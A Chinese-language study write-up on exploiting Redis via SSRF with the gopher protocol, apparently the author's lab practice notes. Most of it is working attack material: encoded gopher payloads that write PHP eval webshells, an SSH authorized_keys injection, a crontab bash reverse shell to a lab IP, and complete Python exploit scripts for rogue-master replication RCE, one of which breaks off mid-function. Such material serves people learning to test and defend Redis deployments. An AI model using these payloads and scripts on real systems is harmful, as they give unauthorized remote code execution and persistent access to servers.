Redis在SSRF中的應用


前言

面試問到了,只知道有哪些,但是沒有自己實踐過。這里學習記錄下。

前置知識

SSRF介紹

SSRF,服務器端請求偽造,服務器請求偽造,是由攻擊者構造的漏洞,用於形成服務器發起的請求。通常,SSRF攻擊的目標是外部網絡無法訪問的內部系統

CONFIG SET

Redis Config Set 命令可以動態地調整 Redis 服務器的配置(configuration)而無須重啟。

你可以使用它修改配置參數,或者改變 Redis 的持久化(Persistence)方式。

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
SAVE

這是之前redis常用的getshell套路。但是由於權限問題,並不是總能成功寫入文件。

RESP協議

Redis服務器與客戶端通過RESP(REdis Serialization Protocol)協議通信。
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標准方式。這是您應該在Redis客戶端中實現的協議。
RESP實際上是一個支持以下數據類型的序列化協議:簡單字符串,錯誤,整數,批量字符串和數組。

RESP在Redis中用作請求 - 響應協議的方式如下:

  1. 客戶端將命令作為Bulk Strings的RESP數組發送到Redis服務器。
  2. 服務器根據命令實現回復一種RESP類型。

在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings,回復的第一個字節是+
對於error,回復的第一個字節是-
對於Integer,回復的第一個字節是:
對於Bulk Strings,回復的第一個字節是$
對於array,回復的第一個字節是*
此外,RESP能夠使用稍后指定的Bulk StringsArray的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。

這里本地測試下

tcpdump  port 6379 -w nopass.pcap

無論用tcpdump還是socat轉發都抓不到任何流量,我傻了。用了socat也是一樣。發現達不到文章中的效果。崩潰了,搞了好幾個小時,根本抓不到本地的。害,只能遠程

可以看到

中間還有很多亂碼

后面才搞懂。是可以利用socat的,看一篇文章中的解釋,沒看清,我暈。

我們這里先開啟redis-server /etc/redis.conf

在執行,意思為將4444端口收到的請求轉發給6379端口(我TM就擱着浪費了2個小時,文章中沒說清楚socat兩個端口,還整一個6378和6379,哎,應該早點去百度下socat的命令的,煞x了)

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

這里用redis-cli連接4444端口,就可以抓到數據了,用tcpdump有亂碼

每行都是\r結尾的,但是redis的協議是以CRLF結尾,所以如果這樣的數據直接復制粘貼下來去轉換的時候,要把\r轉換為%0d%0a

客戶端向將命令作為Bulk Strings的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為["set","name","test"]);$3代表字符串的長度,0d0a\r\n表示結束符;+OK表示服務端執行成功后返回的字符串

Redis配合gopher協議進行SSRF

Gopher協議

Gopher 協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了
Gopher 協議可以說是SSRF中的萬金油,。利用此協議可以攻擊內網的 redis、ftp等等,也可以發送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。

當存在ssrf漏洞,並且有回顯的時候

test.php
<?php
$ch = curl_init(); // 創建一個新cURL資源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 設置URL和相應的選項
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL並把它傳遞給瀏覽器
curl_close($ch); // 關閉cURL資源,並且釋放系統資源
?>

 

redis常見的SSRF攻擊方式大概有這幾種:

  1. 絕對路徑寫webshell

  2. 寫ssh公鑰

  3. 寫contrab計划任務反彈shell

我逐個來嘗試復現

絕對路徑寫webshell

利用條件:

1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限

構造如下payload:

flushall
set 1 '<?php phpinfo();?>'
config set dir /var/www/html
config set dbfilename shell.php
save

整理獲得如下payload

*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$18\r
<?php phpinfo();?>\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r

這里給出Joychu師傅給出的轉換規則

  • 如果第一個字符是>或者那么丟棄該行字符串,表示請求和返回的時間。
  • 如果前3個字符是+OK 那么丟棄該行字符串,表示返回的字符串。
  • \r字符串替換成%0d%0a
  • 空白行替換為%0a

Joychu師傅的轉換腳本:

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判斷倒數第2、3字符串是否為\r
        elif line[-3:-1] == r'\r':
            # 如果該行只有\r,將\r替換成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的換行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判斷是否是空行,空行替換為%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

再放一個七友師傅寫的腳本:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

這里我們已經自己手動過濾了一下,用sinensis師傅寫的即可

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print s.replace("$", "%24")

本地curl嘗試

curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

這里也可以用gopherus,直接生成

curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

成功

在ssrf利用的時候將redis命令部分在進行urlencode一次即可(這里我用的是靶機 10003開的是80,10004開的redis的6379)

http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a

上面是我用自己生成的phpinfo payload打沒有打成功。將gopher的payload再次urlencode一次后,發現能打成功。

http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

對比了一下第一次的payload,除了可能內容上我寫的是phpinfo,而gopherus寫的是shell

my:
gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

gopherus:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

my:

gopherus:

 

my:

問題應該出在這兩個換行,從我自己的可以看到,payload被一些亂碼干擾到。所以gopherus這里換行的目的應該是不讓亂碼字符干擾payload

像Joychu師傅這里的是58個字符,這里payload前面用三個換行,結束用了四個換行,加上原來的一共61個

而上面gopherus生成的默認都是前兩個后兩個換行,可以從redis.py源碼也能看到

這里在記錄下\r\n的東西

Unix系統里,每行結尾只有“<換行>”,即“\n”;Windows系統里面,每行結尾是“<換行><回車>”,即“\n\r”;Mac系統里,每行結尾是“<回車>”。一個直接后果是,Unix/Mac系統下的文件在Windows里打開的話,所有文字會變成一行;而Windows里的文件在Unix/Mac下打開的話,在每行的結尾可能會多出一個^M符號

也就是說,再linux中直接用python腳本調用urlencode一次,默認每行結尾都有\n即%0a,但是RESP協議規定始終以CRLF結尾,即\r\n結尾,因此都會加一個\r,這樣就滿足了RESP協議的規定。就先寫到這了,明兒繼續,1點了睡覺~。

 

為了驗證一下,手動修改增加兩個換行符%0a,並且增加字符數,發現仍然不行。回頭一想既然用我自己構造的payload本地gopher直接打redis是可以打出來的,應該是url編碼問題。第一次本地打gopher不是在ssrf利用的時候發現就已經整體urlencode了一遍(不知特殊字符),並且將*等都urlencode了。這里我通過python url全編碼嘗試。意思就是不需要通過sinensis師傅的轉換腳本,我們直接將手動濾出的redis命令通過urllib.quote_plus(測試用urllib.quote即可,_plus會將空格轉化為+號)

import urllib
test="""*1
$8
flushall
*3
$3
set
$1
1
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save"""
test1=test.split("\n");
payload=""
for i in test1:
    payload+=i+"\r\n"
print urllib.quote(payload)

這里可以發現確實是url編碼的問題,再次全編碼轉后的數據

第一次:
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2418%0D%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
第二次:
%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

第二次:

http://xx.xxx.xxx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如果這樣利用的話,不需要這么麻煩,推薦用gopherus生成的payload再urlencode一次即可,或者用七友師傅的腳本生成的payload再次urlencode一次即可在ssrf漏洞中攻擊redis絕對路徑寫shell

寫ssh公鑰

在以下條件下,可以利用此方法

Redis服務使用ROOT賬號啟動

服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。

如果.ssh目錄存在,則直接寫入~/.ssh/authorized_keys
如果不存在,則可以利用crontab創建該目錄

跟上面的寫shell方式類似,我先嘗試本地利用再利用ssrf漏洞上打exp

我們先本地生成一對密鑰

本地的命令如下:

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

socat抓一下redis流量直接過濾出來

*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$565\r
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$11\r
/root/.ssh/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$15\r
authorized_keys\r
*1\r
$4\r
save\r

這里本地可以利用私鑰登錄嘗試,不過這里我沒有設置/etc/ssh/sshd_config無口令SSH登陸(即通過客戶端公鑰認證)

這里用curl本地打一下

還是那個問題,最好還是最前面和最后面加兩個換行,不要干擾到我們插入的數據

手動加了兩個換行的就是這樣的,將數據放在了中間,不要讓一些亂碼干擾到數據

這里不用SSRF再打了,url編碼搞定,基本再encode一次即可

計划任務寫shell

利用條件:權限可寫計划任務

這個方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時任務文件/var/spool/cron/<username>權限644也能執行

  2. 因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯

由於系統的不同,crontrab定時文件位置也會不同
Centos的定時任務文件在/var/spool/cron/<username>
Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root權限)/etc/crontab PS:高版本的redis默認啟動是redis權限,故寫這個文件是行不通的

在redis以root權限運行時可以寫crontab來執行命令反彈shell

這里靶機是ubuntu和kali所以就不實際操作一下了。

命令如下 :

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

明天學習下主從復制,最近有些心態不好。

主從復制RCE

介紹

redis 4.x/5.x RCE是由LC/BC戰隊隊員Pavel Toporkovzeronights 2018上提出的基於主從復制的redis rce,演講的PPT地址為:PPT(純英文)

攻擊場景

能夠訪問遠程redis的端口(直接訪問或者SSRF)

對redis服務器可以訪問到的另一台服務器有控制權

 可影響版本范圍redis 4.x-5.0.5

主從復制

主從復制,是指將一台Redis服務器的數據,復制到其他的Redis服務器。前者稱為主節點(master),后者稱為從節點(slave);數據的復制是單向的,只能由主節點到從節點。
redis的持久化使得機器即使重啟數據也不會丟失,因為redis服務器重啟后會把硬盤上的文件重新恢復到內存中,但是如果硬盤的數據被刪除的話數據就無法恢復了,如果通過主從復制就能解決這個問題,主redis的數據和從redis上的數據保持實時同步,當主redis寫入數據是就會通過主從復制復制到其它從redis。

 

 

 

 建立主從復制,有3種方式:

  1. 配置文件寫入slaveof <master_ip> <master_port>
  2. redis-server啟動命令后加入 --slaveof <master_ip> <master_port>
  3. 連接到客戶端之后執行:slaveof <master_ip> <master_port>

PS:建立主從關系只需要在從節點操作就行了,主節點不用任何操作

執行如下:

root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380    SLAVEOF命令為redis設置主服務器。
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"

執行一波,我們可以明顯看到數據達到了同步的效果.
如果我們想解除主從關系可以執行SLAVEOF NO ONE

PPT中的攻擊步驟

 

 

 

SLAVE和MASTER之間的握手機制如下:

 

 

 

#define REPL_STATE_CONNECTING 2 /* 等待和master連接 */
/* --- 握手狀態開始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 發送認證消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待認證回復 */
#define REPL_STATE_SEND_PORT 6 /* 發送REPLCONF信息,主要是當前實例監聽端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 發送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 發送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手狀態結束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在從master接收RDB文件 */

握手后SLAVE將向MASTER發送PSYNC請求同步,一般有三種狀態:

  • FULLRESYNC:表示需要全量復制
  • CONTINUE:表示可以進行增量同步
  • ERR:表示主服務器還不支持PSYNC

全量復制到 過程

1.slave向master發送PSYNC請求,並攜帶master的runid和offest,如果是第一次連接的話slave不知道master的runid,所以會返回runid為?,offest為-1

2.master驗證slave發來的runid是否和自身runid一致,如不一致,則進行全量復制,slave並對master發來的runid和offest進行保存

3.master把自己的runid和offset發給slave

4.master進行bgsave,生成RDB文件

5.master將寫好的RDB文件傳輸給slave,並將緩沖區內的數據傳輸給slave

6.slave加載RDB文件和緩沖區數據

 

並且自從Redis4.x之后redis新增了一個模塊功能,Redis模塊可以使用外部模塊擴展Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模塊是動態庫,可以在啟動時或使用MODULE LOAD命令加載到Redis中。

 

具體攻擊流程:

配置一個我們需要以master身份給slave傳輸so文件的服務,大致流程如下

PING 測試連接是否可用
+PONG 告訴slave連接可用
REPLCONF 發送REPLCONF信息,主要是當前實例監聽端口
+OK 告訴slave成功接受
REPLCONF 發送REPLCONF capa
+OK 告訴slave成功接受
PSYNC <rundi> <offest> 發送PSYNC

將要攻擊的redis服務器設置成我們的slave

SLAVEOF ip port

設置RDB文件
PS:這里注意以下exp.so是不能包含路徑的,如果需要設置成其它目錄請用config set dir path

config set dbfilename exp.so

告訴slave使用全量復制並從我們配置的Rouge Server接收module

+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

其中<runid>無要求,不過長度一般為40,<offest>一般設置為1

兩個exp鏈接:

https://github.com/vulhub/redis-rogue-getshell

https://github.com/n0b0dyCN/redis-rogue-server

也可以參考七友師傅寫的exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

#修改一下port,host即可,不過是命令執行模式,上面的exp有反彈shell

上面的一些看完后基本就能理解了,攻擊方式就是通過設置惡意的redis服務器,未授權登陸受害redis服務器,將受害redis服務器設置為slave從服務器並且設置RDB文件名,然后惡意redis告訴slave使用全量復並從我們配置的Rouge Server接收module,然后通過發送MODULE MODE命令加載惡意模塊

復現docker:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

 

在中途有報錯

發現是在return msg.decode('gb18030')出現了多字節編碼的問題,百度查了下別人修改的腳本,修改后的exp如下:

#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig
"""

def encode_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd

def encode_cmd(raw_cmd):
    return encode_cmd_arr(raw_cmd.split(" "))

def decode_cmd(cmd):
    if cmd.startswith("*"):
        raw_arr = cmd.strip().split("\r\n")
        return raw_arr[2::2]
    if cmd.startswith("$"):
        return cmd.split("\r\n", 2)[1]
    return cmd.strip().split(" ")

def info(msg):
    print(f"\033[1;32;40m[info]\033[0m {msg}")

def error(msg):
    print(f"\033[1;31;40m[err ]\033[0m {msg}")

def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    print(data)
    return data.decode(errors='ignore')

def din(sock, cnt=65535):
    global verbose
    msg = sock.recv(cnt)
    if verbose:
        if len(msg) < 1000:
            print(f"\033[1;34;40m[->]\033[0m {msg}")
        else:
            print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
    if sys.version_info < (3, 0):
        res = re.sub(r'[^\x00-\x7f]', r'', msg)
    else:
        res = re.sub(b'[^\x00-\x7f]', b'', msg)
    print(decode_command_line(msg))
    return decode_command_line(msg)

def dout(sock, msg):
    global verbose
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if len(msg) < 1000:
            print(f"\033[1;33;40m[<-]\033[0m {msg}")
        else:
            print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")

def decode_shell_result(s):
    return "\n".join(s.split("\r\n")[1:-1])

class Remote:
    def __init__(self, rhost, rport):
        self._host = rhost
        self._port = rport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.connect((self._host, self._port))

    def send(self, msg):
        dout(self._sock, msg)

    def recv(self, cnt=65535):
        return din(self._sock, cnt)

    def do(self, cmd):
        self.send(encode_cmd(cmd))
        buf = self.recv()
        return buf

    def shell_cmd(self, cmd):
        self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
        buf = self.recv()
        return buf

class RogueServer:
    def __init__(self, lhost, lport):
        self._host = lhost
        self._port = lport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind(('0.0.0.0', self._port))
        self._sock.listen(10)

    def close(self):
        self._sock.close()

    def handle(self, data):
        cmd_arr = decode_cmd(data)
        resp = ""
        phase = 0
        if cmd_arr[0].startswith("PING"):
            resp = "+PONG" + CLRF
            phase = 1
        elif cmd_arr[0].startswith("REPLCONF"):
            resp = "+OK" + CLRF
            phase = 2
        elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
            resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
